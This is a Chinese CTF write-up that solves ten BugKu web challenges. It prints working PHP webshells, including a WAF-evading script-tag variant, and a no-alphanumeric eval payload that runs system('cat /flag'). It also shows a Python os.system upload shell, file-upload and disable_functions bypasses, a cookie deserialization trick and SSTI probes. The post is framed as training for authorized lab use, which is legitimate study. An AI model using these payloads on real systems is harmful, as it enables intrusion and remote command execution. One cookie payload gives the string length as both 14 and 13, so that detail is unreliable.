BugKuCTF-WEB超详细解题思路(41-50)

BugKuCTF-WEB超详细解题思路(41-50) 本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行任何未经授权使用文中技术的行为均与作者无关请务必遵守法律法规获得许可后方可进行渗透测试。目录文件包含2ezbypassNo one knows regex better than me字符正则Flask_FileUploadxxx二手交易市场文件上传getshell点login咋没反应Simple_SSTI_1文件包含2进入靶场发现这个界面查看源代码发现这个php文件访问一下发现是一个文件上传的页面。测试其他类型的文件是否能上传测试了txt和php后缀的结果都显示upload failed。说让我们搞个图片上传先上传绕过文件上传抓包bp改包然后放包用bp抓包上传木马文件把抓到的包的红圈地方改为允许上传的类型上传成功连接蚁剑发现一直数据为空后来发现?php 和 ? 被屏蔽。重新写一句话木马避开被屏蔽的字段。把?php用 script languagephp 代替script languagephpeval($_POST[cmd]);/scriptbp抓包再改一下ok上传成功蚁剑连接成功http://160.202.254.160:15514/index.php?fileupload/202606251259081302.png找到flag文件得到flag坑 1使用标准的一句话木马被 WAF 拦截查到了原因?php和?被后端防火墙WAF屏蔽了。你的破局换成 PHP 的替代写法script languagephpeval($_POST[cmd]);/script。这个写法在很多 CTF 题里都能完美绕过黑名单。坑 2误以为这是“图片解析漏洞”之前一直想直接访问.png的文件希望服务器会把它当 PHP 执行或者尝试用.htaccess强制解析。真相这道题根本没有解析漏洞。服务器就是一个普通的 Web 服务器看到.png只会把它当成图片返回。所以蚁剑直接连.png的地址时收到的是图片的乱码二进制自然就报“数据为空”。坑 3蚁剑的 URL 连错了地方最致命的坑蚁剑配置最后指向的 URL 是http://.../index.php?fileupload/xxx.png。真相这道题的真正考点是文件包含漏洞LFI。你之前蚁剑填的 URL 是upload/xxx.png那是死路。正确的思路是利用index.php的?file参数去包含上传的木马图片。一旦被包含里面的 PHP 代码就会被触发执行。ezbypass题目信息进入靶场看见一串php代码一、代码审计与限制分析题目给出了一段 PHP 代码核心逻辑如下error_reporting(0); highlight_file(__FILE__); if (isset($_POST[code])) { $code $_POST[code]; if (strlen($code) 105){ if (is_string($code)) { if (!preg_match(/[a-zA-Z0-9#%^*:{}\-\?\|~\\\\]/,$code)){ eval($code); } else { echo Hacked!; } } else { echo You need to pass in a string; } } else { echo long?; } }限制条件总结strlen($code) 105长度限制极短极大限制了 Payload 的编写。is_string($code)禁止了常见的数组绕过正则技巧。!preg_match(...)过滤极其严格正则黑名单几乎涵盖了所有大小写字母、数字以及大量特殊符号。面对强力的 WAF我们只能使用严格限制下的极少数字符来通过eval()实现 RCE。二、探索可用字符针对黑名单过滤常规思路是抓包测试被允许保留的字符。问题卡点在本地编写脚本跑chr($i)遍历时发现没有直接回显数据这说明正则确实过滤极严。实际结论经过排查测试最终发现未被过滤的字符仅有$、_、、.、;、,这几种。这些字符极度受限但也足以支撑起这道题的神仙 Payload。三、核心攻击手法PHP 自增特性构造字符串既然不能直接写字母我们可以利用PHP 字符串的自增特性递增/递减运算符动态构造出我们需要的关键字。在 PHP 中如果对一个纯字母的字符串执行操作它会像 Excel 表格的列号一样进位递增如a-bz-aa。逐步拆解构造POST字符串的代码逻辑$_(_/_._)[_]; // 利用 PHP 的除法运算和数组取下标巧取字符 N // 原理说明_ 与 _ 相除PHP 会把字符串转为 00/0 会抛出一个 Warning 并返回浮点数 NAN。 // _/_._ 计算结果为 NAN(NAN)[_] 在 PHP 7 中会取字符串 NAN 的下标 0即字符 N。 $_; // N 变为 O $__$_.$_; // O . P得到 OP $_; // Q $_; // R $_; // S $__$__.$_; // OP . S得到 OPS $_; // T $__$__.$_; // OPS . T成功构造出字符串 POST $__.$__; // 在字符串前加个下划线得到 _POST // 此时变量 $_ 的值已经是字符串 _POST四、构造最终 Payload 实现 RCE命令执行有了_POST变量后我们需要通过动态变量执行系统命令。最终 Payload 及传参方式$_(_/_._)[_];$_;$__$_.$_;$_;$_;$_;$__$__.$_;$_;$__$__.$_;$__.$__;$$_[_]($$_[__]);前面那串代码执行完后$_的值是字符串_POST。$$_[_]等价于$_POST[_]。$$_[__]等价于$_POST[__]。最后执行的语句是$_POST[_]($_POST[__]);这就是一个标准的动态函数调用。GET/POST 组合触发 Payload在靶场提交时必须通过 POST 传递code参数同时携带其余参数触发执行# POST 请求主体 code$_(_/_._)[_];$_;$__$_.$_;$_;$_;$_;$__$__.$_;$_;$__$__.$_;$__.$__;$$_[_]($$_[__]);_system__ls /解析$_POST[_]接收到了system$_POST[__]接收到了ls /最终执行system(ls /);五、避坑指南与实验建议PHP 版本兼容性坑在本地测试时PHP 5.3 / 5.4 环境下自增字符串会报错建议调试环境使用PHP 7.0 或更高版本。参数传参坑代码中的最终一句$$_[_]($$_[__]);必须依赖外部 POST/GET 传参。如果只发code而不传_和__PHP 会报错甚至抛出致命错误。六、靶场实战验证在 Bugku 靶场环境中直接测试通过浏览器或 Burp Suite 发送构造好的 Payload。成功执行后在根目录下即可看到flag文件。# 查看根目录并读取 flag _system__ls / # 将 ls / 换成 cat /flag _system__cat /flag拿到 Flag完美通关这道题极大地考察了对 PHP 底层特性的理解以及面对极端 WAF 限制时的代码构造能力No one knows regex better than me题目信息一、题目源码进入靶场后首先获得了一段 PHP 代码核心逻辑如下?php error_reporting(0); $zero$_REQUEST[zero]; $first$_REQUEST[first]; $second$zero.$first; if(preg_match_all(/Yeedo|wants|a|girl|friend|or|a|flag/i,$second)){ $key$second; if(preg_match(/\.\.|flag/,$key)){ die(Noooood hacker!); }else{ $third$first; if(preg_match(/\\|\056\160\150\x70/i,$third)){ $endsubstr($third,5); highlight_file(base64_decode($zero).$end);//maybe flag in flag.php } } } else{ highlight_file(__FILE__); } ?二、代码逻辑分析这道题考察的是PHP 正则绕过与路径拼接我们需要分步绕过三处正则校验最终通过highlight_file()读取敏感文件。1. 第一步触发第一层preg_match_all校验$second $zero . $first。正则规则/Yeedo|wants|a|girl|friend|or|a|flag/i。绕行思路只要$second中包含a或者girl等就能触发内部逻辑。因此我们可以随意在参数中塞入一个小写字母a即可过关。2. 第二步绕过黑名单校验进入内层后会对$key $second进行检验preg_match(/\.\.|flag/,$key)。绕行思路这里拦截了..路径穿越以及明文flag。只要我们构造的字符串中不出现这两个特征即可安全跳过。3. 第三步触发最终函数preg_match(/\\|\056\160\150\x70/i, $third)。正则解析这个正则匹配的是竖线|\\|、点.八进制\056、字母p八进制\160和十六进制\x70、字母h八进制\150。意味着$first即$third中必须含有|、.、p、h中的至少一个字符。4. 第四步文件路径拼接读取$end substr($third, 5);highlight_file(base64_decode($zero) . $end);目标base64_decode($zero)解码后必须为flag截取后的$end必须是.php才能拼成flag.php。三、漏洞利用与 Payload 构造经过逻辑推演我们对参数zero和first的构造也就非常清晰了参数zero将flag进行 Base64 编码ZmxhZw。后端解码后得到flag。参数first必须包含字符a过第一层正则且包含|或.过第三层正则。同时为了保证substr($first, 5)截取后得到.php我们需要精心计算长度。构造abcd|.php长度 9 个字符从索引 5 开始截取正好是.php。最终测试 Payload?zeroZmxhZwfirstabcd|.phpPayload 生效推演$secondZmxhZwabcd|.php成功匹配第一关正则中的a。$second中不包含..或flag顺利通过第二关。$thirdabcd|.php包含|顺利通过第三关。$endsubstr(abcd|.php, 5).php。highlight_file(flag . .php)⇒highlight_file(flag.php)。四、获取 Flag发送上述构造的 Payload 后服务端会直接高亮显示flag.php的源码其中包含明文 Flagflag{ec12ed819ed5252fb9ad067c4e50a234}字符正则题目信息一、题目核心代码进入靶场后查看源代码题目核心逻辑如下?php highlight_file(2.php); $keyKEY{***********************************}; $IM preg_match(/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i, trim($_GET[id]), $match); if( $IM ) { die(key is: . $key); } ?题目目标根据给出的正则规则构造能够成功匹配的字符串并通过 GET 方式传参给id触发die()输出$key完成挑战。二、正则表达式规则精准剖析这段正则表达式是/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i注末尾的i是正则修饰符表示忽略大小写。各部分含义精准拆解如下/ ... /正则表达式的起始和结束定界符。key匹配字面量字符串key。.*修正原文描述.代表匹配除换行符之外的任意单个字符而非原文所说的数字*表示前面的字符可以出现 0 次到多次。key再次匹配字面量字符串key。.{4,7}匹配任意字符 4 到 7 次。key:匹配字面量字符key:。\/修正原文描述反斜杠\在正则中用作转义字符\/表示匹配字面量的正斜杠/。.匹配一个任意字符。\/再次匹配一个字面量的正斜杠/。(.*key)括号代表捕获组.*key表示匹配任意字符后紧跟的最后一个key字符串。[a-z]匹配任意一个小写英文字母。[[:punct:]]匹配任意一个标点符号如,,.,!等。三、构造合理的 Payload实战推导我们需要构造id参数的值使其完全满足上述正则结构。以key666key66666key:/6/666keyx,为例进行代入验证key→key(开头).\*→666(匹配了 3 个任意字符)key→key(中间连接).{4,7}→66666(这里用了 5 个字符6符合 4-7 次的规则)key:→key:(固定字符)\/→/(斜杠).→6(任意一个字符)\/→/(斜杠)(.\*key)→666key(任意字符后接key)[a-z]→x(小写字母)[[:punct:]]→,(标点符号)完美命中字符串key666key66666key:/6/666keyx,完全满足所有正则匹配规则。四、最终提交与获取 Flag既然已经构造出符合规则的字符串直接通过 GET 方式提交给服务器?idkey666key66666key:/6/666keyx,完整请求 URL 示例http://靶机地址/?idkey666key66666key:/6/666keyx,提交后正则匹配成功PHP 执行die(key is: . $key);即可返回最终的 Flag。Flask_FileUpload题目信息打开靶场是个文件上传直接上传图片木马试一试上传成功蚁剑连接不上显示路径错误让我去哪找路径去啊查看源码报错信息SyntaxError: Non-UTF-8 code starting with \x89 in file /app/upload/mm_shell.png这说明两个关键问题后端是 Python 环境不是 PHPPng图片的文件头第一个字节是\x89Python 把它当 Python 语法解析时撞到了非法字符直接报错崩溃了。上传路径就是/app/upload/mm_shell.png出题人完全没有修改你的文件名和后缀。既然这是一个 Python 环境我们不需要蚁剑也不用花里胡哨的图片马直接传一个可以执行命令的Python 脚本.py后端读取并解析它时就会直接把 Flag 打印在网页上。第一步制作 Python 木马在你的电脑上新建一个空文本文件命名为mm_shell.py在里面输入以下代码并保存import os ​ os.system(ls /)第二步改文件后缀名把mm_shell.py的py改为png第三步看回显查看文件找到flag改一下代码cat一下跟上个步骤一样得到flagxxx二手交易市场题目信息进入靶场发现是个交易页面提示没有账号不能购买物品 那我们先注册登录然后进入属于自己的用户信息资料页在这里存在一个上传点 用户的头像 交互时的漏洞然后我们进行正常的上传 burpsuite抓包原本我们上传的为png后缀图片 然后服务器 返回的缺失jpeg后缀 请求包中又为jpeg 值说明可能这里是控制后缀的 那我们修改请求的数据包 jpeg--php上传成功然后修改请求体中的内容 仔细观察 它的数据是使用base64 加密过的 所以我们上传的木马也要使用base64加密编译后上传然后用蚁剑连接找到flag文件找到flag文件上传题目信息打开靶场文件上传打开bp并上传一个一句话木马上去后缀名为png?php eval($_POST[cmd]); echo success; ?修改将“multipart”修改为“Multipart”并将文件后缀修改为php4此时发送就可以成功上传一句话木马根据返回的路径打开蚁剑并连接连接成功找到flag文件得到flaggetshell题目信息进入靶场一大串非常乱的编码解密后;显然我们可以蚁剑连接了,但是我们得绕过disable_function函数密码ymlisisisiook连接成功选择插件选择模式再连接新生成的绕过木马密码还是和连接第一次的密码一样ymlisisisiookhttp://114.67.175.224:11019/.antproxy.php成功拿到flag点login咋没反应题目信息进入靶场看到点提示try ?12713拿到一个php代码?php error_reporting(0); $KEYctf.bugku.com; include_once(flag.php); $cookie $_COOKIE[BUGKU]; if(isset($_GET[12713])){ show_source(__FILE__); } elseif (unserialize($cookie) $KEY) { echo $flag; } else { ? html ​ head meta http-equivContent-Type contenttext/html; charsetUTF-8 titleLogin/title link relstylesheet hrefadmin.css typetext/css /head ​ body br ​ div classcontainer aligncenter form methodPOST action# pinput nameuser typetext placeholderUsername/p pinput namepassword typepassword placeholderPassword/p pinput valueLogin typebutton//p /form /div ​ /body /html ​ ?php } ?在 PHP 中把字符串ctf.bugku.com进行序列化得到的序列化结果是s:14:ctf.bugku.com;当unserialize()解析这段内容时会还原成一个 PHP 字符串ctf.bugku.com。 因为字符串的类型和值完全相等所以ctf.bugku.com ctf.bugku.com成立成功触发输出$flag。只需要把BUGKU这个 Cookie 的值设置为上面那段序列化字符串的URL 编码即可。原始 Cookie 值s:14:ctf.bugku.com;经过 URL 编码后的最终 Payload填入 Cookies%3A14%3A%22ctf.bugku.com%22%3B方法 1使用 Burp Suite最稳妥打开 Burp Suite 抓包。抓到GET /请求后发送到Repeater。在请求头的Cookie:字段中把原来的值替换成Cookie: BUGKUs%3A13%3A%22ctf.bugku.com%22%3B点击Send右侧 Response 里直接就会返回包含flag{...}的页面。方法 2使用浏览器控制台最快打开靶机页面按下F12打开开发者工具切换到Console控制台。粘贴下面这行代码并回车document.cookie BUGKUs%3A13%3A%22ctf.bugku.com%22%3B;直接在浏览器刷新当前页面。页面中间就会直接显示出 FlagSimple_SSTI_1题目信息打开靶场提示需要传入一个名为flag的参数题目又叫SSTI从而得到了可以使用模板注入的基本条件了解Jinjan2 基础语法 ​ Jinja2模版语言是不区分缩进的和纯python不同。实际上所有模版语言都不区分缩紧。 ​ 常用标记 ​ 注释{# 这是注释 #} 变量{{ post.title }}或字典元素{{your_dict[key]}}或列表{{your_list[0]}} 多行代码块{% 开始 %} HTML标签 {% 结束 %} ​ 示例 ​ {% if user %} {{ user }} {% else %} hello! {% for index in indexs %} {{ index }} {% endfor %}在 SSTI 漏洞利用中常见模板引擎的定界符主要有三种{% … %}用于执行逻辑语句如循环、条件判断。{{ … }}用于输出表达式的结果或变量。{# … #}用于注释其内容不会被模板引擎渲染。在 CTF 实战中绝大多数题目利用的都是第二种{{ ... }}形式。由于本题已经明确提示了存在 SSTI因此我们可以省去前期的引擎类型探测步骤直接进入漏洞验证阶段。常用的基础探测 Payload 为{{2\*3}}。提交后如果页面成功回显结果为6则说明模板引擎成功执行了内部的数学运算SSTI 漏洞确定存在。接下来即可继续利用 Python 的内置对象和魔术方法构造读取文件或执行系统命令的链式 Payload 来获取 Flag。“在 Flask 模板中config同样是一个极具利用价值的全局对象。它包含了当前应用程序运行时的所有配置项如SECRET_KEY、数据库连接信息等。因此在进行 SSTI服务端模板注入探测时我们可以直接通过{{ config }}查看整个配置字典或者通过{{ config.xxx }}提取特定的属性值。在实战中这往往是快速获取敏感信息、寻找突破口的捷径。”得到flag